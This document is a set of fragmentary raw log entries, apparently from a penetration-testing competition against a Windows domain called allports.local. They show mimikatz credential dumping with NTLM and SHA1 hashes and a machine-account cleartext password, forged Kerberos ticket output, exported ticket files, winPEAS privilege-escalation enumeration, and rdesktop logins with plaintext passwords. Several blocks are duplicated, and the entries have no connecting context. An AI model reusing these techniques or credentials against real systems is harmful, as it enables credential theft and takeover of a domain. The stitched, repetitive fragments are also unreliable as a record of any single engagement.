_raw:
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 146585311 (00000000:08bcb6df)
Session           : Interactive from 3
User Name         : DWM-3
Domain            : Window Manager
Logon Server      : (null)


_raw: [*] Generating EncTicketPart [*] Signing PAC [*] Encrypting EncTicketPart [*] Generating Ticket [*] Generated KERB-CRED [*] Forged a TGT for 'REDACTED_EMAIL'


_raw: rdesktop - 10.0.1.20 Administrator: Windows PowerShell X RecyWindows Powershell A Copyright (C) Microsoft Corporation. All rights reserved. Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows PS C: \Users\rdavis> whoami Firapt\rdavis PS C: \Users\rdavis> _ Go Ch Mic E -- V


_raw: chatbot frontend on windows machine between cruise attenders... how would i be able to exploit this for a silly competition


_raw: rdesktop -d APT -u "rdavis" -p "rosdav50" 10.0.1.20


_raw:
{
    _id: ObjectId('68dad66a2a0ceffc6f7f5a5b'),
    name: 'John Doe',
    username: 'jdoe',
    email: 'REDACTED_EMAIL',
    emailVerified: true,
    provider: 'ldap',
    role: 'USER',
    ldapId: 'rdavis',
    plugins: [],
    twoFactorEnabled: false,
    termsAccepted: true,
    personalization: {
        memories: true,
        _id: ObjectId('68dad66a2a0ceffc6f7f5a5a')
    },
    backupCodes: [],
    refreshToken: [],


_raw:
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled


_raw: rdesktop -d APT -u "SVC_STABILIZE" -p "1gyroscope" 10.0.1.20


_raw: systemctl stop docker-compose-gvm-scanner; systemctl start docker-compose-gvm-scanner; systemctl status docker-compose-gvm-scanner


_raw:
Logon Time        : 11/8/2025 7:40:37 PM
SID               : S-1-5-21-2288084429-921088559-2964959546-1000
         * Username : cloudbase-init
         * Domain   : DECKHAND-01
         * Password : (null)
        Group 0 - Ticket Granting Service
        Group 1 - Client Ticket ?
        Group 2 - Ticket Granting Ticket
Authentication Id : 0 ; 3106278 (00000000:002f65e6)
Session           : Service from 0
User Name         : SplunkForwarder
Domain            : NT SERVICE
Logon Server      : (null)


_raw:
Logon Time        : 11/8/2025 7:40:37 PM
SID               : S-1-5-21-2288084429-921088559-2964959546-1000
        msv :
         [00000003] Primary
         * Username : cloudbase-init
         * Domain   : DECKHAND-01
         * NTLM     : 2d31449e6dca92bbc033c8b5ef7712a7
         * SHA1     : 8e241438948c9c8d4d188ee3a122a67a2d50d85d
        tspkg :
        wdigest :
         * Username : cloudbase-init
         * Domain   : DECKHAND-01
         * Password : (null)
        kerberos :
         * Username : cloudbase-init
         * Domain   : DECKHAND-01
         * Password : (null)
        ssp :
        credman :
        cloudap :
Authentication Id : 0 ; 3106278 (00000000:002f65e6)
Session           : Service from 0
User Name         : SplunkForwarder
Domain            : NT SERVICE
Logon Server      : (null)


_raw:
Logon Time        : 11/8/2025 7:40:36 PM
SID               : S-1-5-96-0-3
         * Username : DECKHAND-01$
         * Domain   : allports.local
         * Password : ]Y(OfS2su9pp7q&Z^ZOGTeF(V>G=a@FXzC!^%KY"v!>u.c5/UN:@kafoFnge22+CgVA=5vN[i07I$b`?#1>"!oBLHl!!C`BW>^`7?4C6uqF7=IacDwX*WKK`
        Group 0 - Ticket Granting Service
        Group 1 - Client Ticket ?
        Group 2 - Ticket Granting Ticket
Authentication Id : 0 ; 121234796 (00000000:0739e56c)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)


_raw:
Logon Time        : 11/8/2025 7:40:36 PM
SID               : S-1-5-90-0-3
         * Username : DECKHAND-01$
         * Domain   : allports.local
         * Password : ]Y(OfS2su9pp7q&Z^ZOGTeF(V>G=a@FXzC!^%KY"v!>u.c5/UN:@kafoFnge22+CgVA=5vN[i07I$b`?#1>"!oBLHl!!C`BW>^`7?4C6uqF7=IacDwX*WKK`
        Group 0 - Ticket Granting Service
        Group 1 - Client Ticket ?
        Group 2 - Ticket Granting Ticket
Authentication Id : 0 ; 146579501 (00000000:08bca02d)
Session           : Interactive from 3
User Name         : UMFD-3
Domain            : Font Driver Host
Logon Server      : (null)


_raw:
Logon Time        : 11/8/2025 7:40:36 PM
SID               : S-1-5-96-0-3
        msv :
         [00000003] Primary
         * Username : DECKHAND-01$
         * Domain   : APT
         * NTLM     : c570efd16c93e73595446cb2c2875273
         * SHA1     : d1d83600fc13c80b90fc80a09cb665c2dbb722a8
        tspkg :
        wdigest :
         * Username : DECKHAND-01$
         * Domain   : APT
         * Password : (null)
        kerberos :
         * Username : DECKHAND-01$
         * Domain   : allports.local
         * Password : ]Y(OfS2su9pp7q&Z^ZOGTeF(V>G=a@FXzC!^%KY"v!>u.c5/UN:@kafoFnge22+CgVA=5vN[i07I$b`?#1>"!oBLHl!!C`BW>^`7?4C6uqF7=IacDwX*WKK`
        ssp :
        credman :
        cloudap :
Authentication Id : 0 ; 121234796 (00000000:0739e56c)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)


_raw:
Logon Time        : 11/8/2025 7:40:36 PM
SID               : S-1-5-90-0-3
        msv :
         [00000003] Primary
         * Username : DECKHAND-01$
         * Domain   : APT
         * NTLM     : c570efd16c93e73595446cb2c2875273
         * SHA1     : d1d83600fc13c80b90fc80a09cb665c2dbb722a8
        tspkg :
        wdigest :
         * Username : DECKHAND-01$
         * Domain   : APT
         * Password : (null)
        kerberos :
         * Username : DECKHAND-01$
         * Domain   : allports.local
         * Password : ]Y(OfS2su9pp7q&Z^ZOGTeF(V>G=a@FXzC!^%KY"v!>u.c5/UN:@kafoFnge22+CgVA=5vN[i07I$b`?#1>"!oBLHl!!C`BW>^`7?4C6uqF7=IacDwX*WKK`
        ssp :
        credman :
        cloudap :
Authentication Id : 0 ; 146579501 (00000000:08bca02d)
Session           : Interactive from 3
User Name         : UMFD-3
Domain            : Font Driver Host
Logon Server      : (null)


_raw:
MATCH (g:Group)<-[:MemberOf*1..]-(u:User) RETURN g.name AS groupName, g.description AS
groupDescription, COUNT(DISTINCT u) AS numberOfMembers ORDER BY numberOfMembers DESC


_raw:
[encoded data, 10097 characters]
╔══════════╣ Enumerating Sysmon process creation logs (1)
      Unable to query Sysmon event logs, Sysmon likely not installed.
╔══════════╣ Installed .NET versions
════════════════════════════════════╣ Interesting Events information ╠════════════════════════════════════
╔══════════╣ Printing Explicit Credential Events (4648) for last 30 days - A process logged on using plaintext credentials
  [X] Exception: Attempted to perform an unauthorized operation.
╔══════════╣ Printing Account Logon Events (4624) for the last 10 days.
  [X] Exception: Attempted to perform an unauthorized operation.
╔══════════╣ Process creation events - searching logs (EID 4688) for sensitive data.
  [X] Exception: Attempted to perform an unauthorized operation.
╔══════════╣ PowerShell events - script block logs (EID 4104) - searching for sensitive data.
  [X] Exception: Attempted to perform an unauthorized operation.
╔══════════╣ Displaying Power off/on events for last 5 days
System.UnauthorizedAccessException: Attempted to perform an unauthorized operation.
   at System.Diagnostics.Eventing.Reader.EventLogException.Throw(Int32 errorCode)
   at System.Diagnostics.Eventing.Reader.NativeWrapper.EvtQuery(EventLogHandle session, String path, String query, Int32 flags)
   at System.Diagnostics.Eventing.Reader.EventLogReader..ctor(EventLogQuery eventQuery, EventBookmark bookmark)
   at winPEAS.Helpers.MyUtils.GetEventLogReader(String path, String query, String computerName)
   at winPEAS.Info.EventsInfo.Power.Power.<GetPowerEventInfos>d__0.MoveNext()
   at winPEAS.Checks.EventsInfo.PowerOnEvents()
════════════════════════════════════╣ Users Information ╠════════════════════════════════════
╔══════════╣ Users
╚ Check if you have some admin equivalent privileges https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#users--groups
  [X] Exception:
  Current user: Guest
  Current groups: Domain Users, Everyone, Local account and member of Administrators group, Guests, Administrators, Users, Remote Interactive Logon, Interactive, This Organization, Local account, Local, NTLM Authentication
   =================================================================================================
    Not Found
╔══════════╣ Current User Idle Time
   Current User   :     DECKHAND-01\Guest
   Idle Time      :     00h:00m:07s:343ms
╔══════════╣ Display Tenant information (DsRegCmd.exe /status)
   Tenant is NOT Azure AD Joined.
╔══════════╣ Current Token privileges
╚ Check if you can escalate privilege using some enabled token https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#token-manipulation
    SeIncreaseQuotaPrivilege: DISABLED
    SeSecurityPrivilege: DISABLED
    SeTakeOwnershipPrivilege: DISABLED
    SeLoadDriverPrivilege: DISABLED
    SeSystemProfilePrivilege: DISABLED
    SeSystemtimePrivilege: DISABLED
    SeProfileSingleProcessPrivilege: DISABLED
    SeIncreaseBasePriorityPrivilege: DISABLED
    SeCreatePagefilePrivilege: DISABLED
    SeBackupPrivilege: DISABLED
    SeRestorePrivilege: DISABLED
    SeShutdownPrivilege: DISABLED
    SeDebugPrivilege: SE_PRIVILEGE_ENABLED
    SeSystemEnvironmentPrivilege: DISABLED
    SeChangeNotifyPrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
    SeRemoteShutdownPrivilege: DISABLED
    SeUndockPrivilege: DISABLED
    SeManageVolumePrivilege: DISABLED
    SeImpersonatePrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
    SeCreateGlobalPrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
    SeIncreaseWorkingSetPrivilege: DISABLED
    SeTimeZonePrivilege: DISABLED
    SeCreateSymbolicLinkPrivilege: DISABLED
    SeDelegateSessionUserImpersonatePrivilege: DISABLED
╔══════════╣ Clipboard text
https://github.com/peass-ng/PEASS-ng/releases/download/20251101-a416400b/winPEASany.exe
╔══════════╣ Logged users
  [X] Exception:
    Not Found
╔══════════╣ Display information about local users
   Computer Name           :   DECKHAND-01
   User Name               :   Admin
   User Id                 :   1001
   Is Enabled              :   True
   User Type               :   Administrator
   Comment                 :


_raw:
└─$ sudo python -m http-server ADAD
sudo: unable to resolve host cptc11-regional-west-t1-vdi-kali02: Name or service not known
[sudo] password for pentester:
/usr/bin/python: No module named http-server


_raw:
           Start/End/MaxRenew: 11/8/2025 7:20:50 PM ; 11/9/2025 4:38:00 AM ; 11/12/2025 12:38:00 PM
           Service Name (02) : krbtgt ; ALLPORTS.LOCAL ; @ ALLPORTS.LOCAL
           Target Name  (--) : @ ALLPORTS.LOCAL
           Client Name  (01) : DECKHAND-01$ ; @ ALLPORTS.LOCAL ( $$Delegation Ticket$$ )
           Flags 60a10000    : name_canonicalize ; pre_authent ; renewable ; forwarded ; forwardable ;
           Session Key       : 0x00000001 - des_cbc_crc
             efa6cff6378f0c6a3ff86e502491e57e1bb220f9ae69b15ddb41782d02fdcf9d
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 2        [...]
           * Saved to file [0;3e7]-2-0-60a10000-DECKHAND-01$@krbtgt-ALLPORTS.LOCAL.kirbi !
         [00000001]


_raw:
           Start/End/MaxRenew: 11/8/2025 7:20:50 PM ; 11/9/2025 4:38:00 AM ; 11/12/2025 12:38:00 PM
           Service Name (02) : LDAP ; APT-DC-01.allports.local ; allports.local ; @ ALLPORTS.LOCAL
           Target Name  (02) : LDAP ; APT-DC-01.allports.local ; allports.local ; @ ALLPORTS.LOCAL
           Client Name  (01) : DECKHAND-01$ ; @ ALLPORTS.LOCAL ( ALLPORTS.LOCAL )
           Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
           Session Key       : 0x00000001 - des_cbc_crc
             28cf50c88435a015ef4a205b9d16c86f4cd3d2a980b91ccbde4733b1040ff67d
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 3        [...]
           * Saved to file [0;3e7]-0-2-40a50000-DECKHAND-01$@LDAP-APT-DC-01.allports.local.kirbi !
         [00000003]


_raw:
           Start/End/MaxRenew: 11/8/2025 7:20:50 PM ; 11/9/2025 4:38:00 AM ; 11/12/2025 12:38:00 PM
           Service Name (01) : DECKHAND-01$ ; @ ALLPORTS.LOCAL
           Target Name  (01) : DECKHAND-01$ ; @ ALLPORTS.LOCAL
           Client Name  (01) : DECKHAND-01$ ; @ ALLPORTS.LOCAL
           Flags 40a10000    : name_canonicalize ; pre_authent ; renewable ; forwardable ;
           Session Key       : 0x00000001 - des_cbc_crc
             b57eaca185194c76ebfaf3b33e982544
           Ticket            : 0x00000017 - rc4_hmac_nt       ; kvno = 1        [...]
           * Saved to file [0;3e7]-0-1-40a10000.kirbi !
         [00000002]


_raw:
           Start/End/MaxRenew: 11/8/2025 7:20:50 PM ; 11/9/2025 4:38:00 AM ; 11/12/2025 12:38:00 PM
           Service Name (02) : cifs ; APT-DC-01.allports.local ; allports.local ; @ ALLPORTS.LOCAL
           Target Name  (02) : cifs ; APT-DC-01.allports.local ; allports.local ; @ ALLPORTS.LOCAL
           Client Name  (01) : DECKHAND-01$ ; @ ALLPORTS.LOCAL ( allports.local )
           Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
           Session Key       : 0x00000001 - des_cbc_crc
             8589ef29cd62ec4f012806e97f240e6ae3ee08198fff7e01d11bf320abaf995e
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 3        [...]
           * Saved to file [0;3e7]-0-0-40a50000-DECKHAND-01$@cifs-APT-DC-01.allports.local.kirbi !
         [00000001]


_raw: C:\Users\Guest\Desktop\New folder(11/8/2025 7:13:41 PM)


_raw: Invoke-WebRequest -Uri "http://example.com/path/to/your/file.zip" -OutFile "C:\Local\Path\To\Save\file.zip"


_raw:
   Last Logon              :   11/8/2025 7:11:54 PM
   Logons Count            :   6
   Password Last Set       :   1/1/1970 12:00:00 AM
   =================================================================================================
   Computer Name           :   DECKHAND-01
   User Name               :   WDAGUtilityAccount
   User Id                 :   504
   Is Enabled              :   False
   User Type               :   Guest
   Comment                 :   A user account managed and used by the system for Windows Defender Application Guard scenarios.
   Last Logon              :   1/1/1970 12:00:00 AM
   Logons Count            :   0
   Password Last Set       :   6/21/2022 2:46:17 PM
   =================================================================================================
╔══════════╣ RDP Sessions
    SessID    pSessionName   pUserName      pDomainName              State     SourceIP
    2         RDP-Tcp#0      Guest          DECKHAND-01              Active    10.0.254.105
╔══════════╣ Ever logged users
  [X] Exception:
    Not Found
╔══════════╣ Home folders found
    C:\Users\Admin : Administrators [Allow: AllAccess]
    C:\Users\All Users : Administrators [Allow: AllAccess]
    C:\Users\cloudbase-init : Administrators [Allow: AllAccess]
    C:\Users\Default : Administrators [Allow: AllAccess]
    C:\Users\Default User : Administrators [Allow: AllAccess]
    C:\Users\Guest : Administrators [Allow: AllAccess], Guest [Allow: AllAccess]
    C:\Users\Public : Interactive [Allow: WriteData/CreateFiles], Administrators [Allow: AllAccess]
╔══════════╣ Looking for AutoLogon credentials
    Not Found
╔══════════╣ Password Policies
╚ Check for a possible brute-force
    Domain: Builtin
    SID: S-1-5-32
    MaxPasswordAge: 42.22:47:31.7437440
    MinPasswordAge: 00:00:00
    MinPasswordLength: 0
    PasswordHistoryLength: 0
    PasswordProperties: 0
   =================================================================================================
    Domain: DECKHAND-01
    SID: S-1-5-21-2288084429-921088559-2964959546
    MaxPasswordAge: 60.00:00:00
    MinPasswordAge: 00:00:00
    MinPasswordLength: 5
    PasswordHistoryLength: 0
    PasswordProperties: DOMAIN_PASSWORD_COMPLEX, DOMAIN_PASSWORD_STORE_CLEARTEXT
   =================================================================================================
╔══════════╣ Print Logon Sessions
    Method:                       LSA
    Logon Server:
    Logon Server Dns Domain:
    Logon Id:                     121234796


_raw:
    C:\Users\Admin\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml(11/8/2025 7:00:50 PM)
    C:\ProgramData\PoseidonBooking\Galley\company_files\Admin\Department_Heads_Meeting_Minutes_2025-09-21.docx(11/8/2025 6:57:38 PM)


_raw: C:\Users\Default\New Bitmap Image.bmp(11/8/2025 6:58:27 PM)


_raw:
    C:\ProgramData\PoseidonBooking\Galley\company_files\Admin\Strategic_Priorities_2026_DRAFT.docx(11/8/2025 6:57:59 PM)
╔══════════╣ Looking inside the Recycle Bin for creds files
╚  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#files-and-registry-credentials
    Name: New folder
    Path: C:\$Recycle.Bin\S-1-5-21-2288084429-921088559-2964959546-501\$RO75ZT9
    Size: 0
    Deleted from: C:\Users\Guest\Desktop\New folder


_raw:
    C:\ProgramData\PoseidonBooking\Galley\company_files\Admin\Strategic_Priorities_2026_DRAFT.docx(11/8/2025 6:57:59 PM)
╔══════════╣ Looking inside the Recycle Bin for creds files
╚  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#files-and-registry-credentials
    Name: New folder
    Path: C:\$Recycle.Bin\S-1-5-21-2288084429-921088559-2964959546-501\$RO75ZT9
    Size: 0
    Deleted from: C:\Users\Guest\Desktop\New folder
    Date Deleted: 11/9/2025 12:13:43 AM
╔══════════╣ Searching hidden files or folders in C:\Users home (can be slow)

     C:\Users\Default User
     C:\Users\Default
     C:\Users\All Users
     C:\Users\Default
     C:\Users\Guest\Documents\Default.rdp
╔══════════╣ Searching interesting files in other users home directories (can be slow)

     You are already Administrator, check users home folders manually.
╔══════════╣ Searching executable files in non-default folders with write (equivalent) permissions (can be slow)
     File Permissions "C:\$Recycle.Bin\S-1-5-21-2288084429-921088559-2964959546-501\$RAX95E1.exe": Administrators [Allow: AllAccess],Users [Allow: AppendData/CreateDirectories]
     File Permissions "C:\$Recycle.Bin\S-1-5-21-2288084429-921088559-2964959546-501\$IAX95E1.exe": Administrators [Allow: AllAccess],Users [Allow: AppendData/CreateDirectories]
     File Permissions "C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\cptclogging.exe": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\Laforge\laforge.exe": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\bin\choco.exe": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\bin\RefreshEnv.cmd": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\extensions\chocolatey-core\Remove-Process.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\extensions\chocolatey-core\Register-Application.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\extensions\chocolatey-core\Get-WebContent.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\extensions\chocolatey-core\Get-PackageCacheLocation.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\extensions\chocolatey-core\Get-EffectiveProxy.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\extensions\chocolatey-core\Get-AvailableDriveLetter.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\extensions\chocolatey-core\Get-AppInstallLocation.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\extensions\chocolatey-compatibility\helpers\Get-PackageParameters.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\extensions\chocolatey-compatibility\helpers\Get-UninstallRegistryKey.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\extensions\chocolatey-compatibility\helpers\Install-ChocolateyDesktopLink.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\extensions\chocolatey-compatibility\helpers\Write-ChocolateyFailure.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\extensions\chocolatey-compatibility\helpers\Write-ChocolateySuccess.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\extensions\chocolatey-compatibility\helpers\Write-FileUpdateLog.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\ChocolateyTabExpansion.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\chocolateyScriptRunner.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Write-FunctionCallLogMessage.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\UnInstall-ChocolateyZipPackage.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Uninstall-ChocolateyPackage.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Uninstall-ChocolateyEnvironmentVariable.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Uninstall-BinFile.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Start-ChocolateyProcessAsAdmin.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Set-PowerShellExitCode.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Install-Vsix.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Install-ChocolateyZipPackage.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Install-ChocolateyVsixPackage.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Install-ChocolateyShortcut.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Install-ChocolateyPowershellCommand.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Install-ChocolateyPinnedTaskBarItem.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Install-ChocolateyPackage.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Install-ChocolateyInstallPackage.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Install-ChocolateyFileAssociation.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Install-ChocolateyExplorerMenuItem.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Install-ChocolateyEnvironmentVariable.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Install-BinFile.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-WebHeaders.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-WebFileName.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-WebFile.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-VirusCheckValid.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-UninstallRegistryKey.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-UACEnabled.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-ToolsLocation.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-PackageParameters.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-OSArchitectureWidth.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-FtpFile.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-ChocolateyWebFile.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-ChocolateyUnzip.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-ChocolateyPath.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-ChocolateyConfigValue.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Get-CheckSumValid.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\helpers\functions\Format-FileSize.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\Firefox\tools\chocolateyInstall.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\Firefox\tools\chocolateyUninstall.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\Firefox\tools\helpers.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\chocolatey-core.extension\extensions\Get-AppInstallLocation.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\chocolatey-core.extension\extensions\Get-AvailableDriveLetter.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\chocolatey-core.extension\extensions\Get-EffectiveProxy.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\chocolatey-core.extension\extensions\Get-PackageCacheLocation.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\chocolatey-core.extension\extensions\Get-WebContent.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\chocolatey-core.extension\extensions\Register-Application.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\chocolatey-core.extension\extensions\Remove-Process.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\chocolatey-compatibility.extension\extensions\helpers\Write-FileUpdateLog.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\chocolatey-compatibility.extension\extensions\helpers\Write-ChocolateySuccess.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\chocolatey-compatibility.extension\extensions\helpers\Write-ChocolateyFailure.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\chocolatey-compatibility.extension\extensions\helpers\Install-ChocolateyDesktopLink.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\chocolatey-compatibility.extension\extensions\helpers\Get-UninstallRegistryKey.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\lib\chocolatey-compatibility.extension\extensions\helpers\Get-PackageParameters.ps1": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\redirects\choco.exe": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\redirects\RefreshEnv.cmd": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\tools\7z.exe": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\tools\checksum.exe": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\tools\shimgen.exe": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\All Users\chocolatey\choco.exe": Administrators [Allow: AllAccess]
     File Permissions "C:\Users\Guest\Downloads\My Binary Translator Installer.exe": Administrators [Allow: AllAccess],Guest [Allow: AllAccess]
     File Permissions "C:\Users\Guest\Desktop\winpeasany.exe": Administrators [Allow: AllAccess],Guest [Allow: AllAccess]
╔══════════╣ Looking for Linux shells/distributions - wsl.exe, bash.exe
    C:\Windows\System32\wsl.exe

    WSL - no installed Linux distributions found.

       /---------------------------------------------------------------------------------\
       |                             Do you like PEASS?                                  |
       |---------------------------------------------------------------------------------|
       |         Learn Cloud Hacking       :     training.hacktricks.xyz                 |
       |         Follow on Twitter         :     @hacktricks_live                        |
       |         Respect on HTB            :     SirBroccoli                             |
       |---------------------------------------------------------------------------------|
       |                                 Thank you!                                      |
       \---------------------------------------------------------------------------------/


_raw: C:\ProgramData\PoseidonBooking\Galley\company_files\Admin\Internal_Memo_DRAFT_DO_NOT_SHARE.txt(11/8/2025 6:56:42 PM)    C:\ProgramData\PoseidonBooking\Logs(11/8/2025 6:58:07 PM)


_raw:
           Start/End/MaxRenew: 11/8/2025 6:53:38 PM ; 11/9/2025 4:43:56 AM ; 11/12/2025 12:43:56 PM
           Service Name (02) : LDAP ; APT-DC-01.allports.local ; @ ALLPORTS.LOCAL
           Target Name  (02) : LDAP ; APT-DC-01.allports.local ; @ ALLPORTS.LOCAL
           Client Name  (01) : DECKHAND-01$ ; @ ALLPORTS.LOCAL
           Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
           Session Key       : 0x00000001 - des_cbc_crc
             769a85fd612133c7aa975f0361c770d804b9fa2e13867908f1525aaca8135b8f
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 3        [...]
           * Saved to file [0;2f65e6]-0-0-40a50000-DECKHAND-01$@LDAP-APT-DC-01.allports.local.kirbi !
        Group 1 - Client Ticket ?
        Group 2 - Ticket Granting Ticket
         [00000000]


_raw:
           Start/End/MaxRenew: 11/8/2025 6:49:41 PM ; 11/9/2025 4:38:00 AM ; 11/12/2025 12:38:00 PM
           Service Name (02) : cifs ; Deckhand-02 ; @ ALLPORTS.LOCAL
           Target Name  (02) : cifs ; Deckhand-02 ; @ ALLPORTS.LOCAL
           Client Name  (01) : DECKHAND-01$ ; @ ALLPORTS.LOCAL
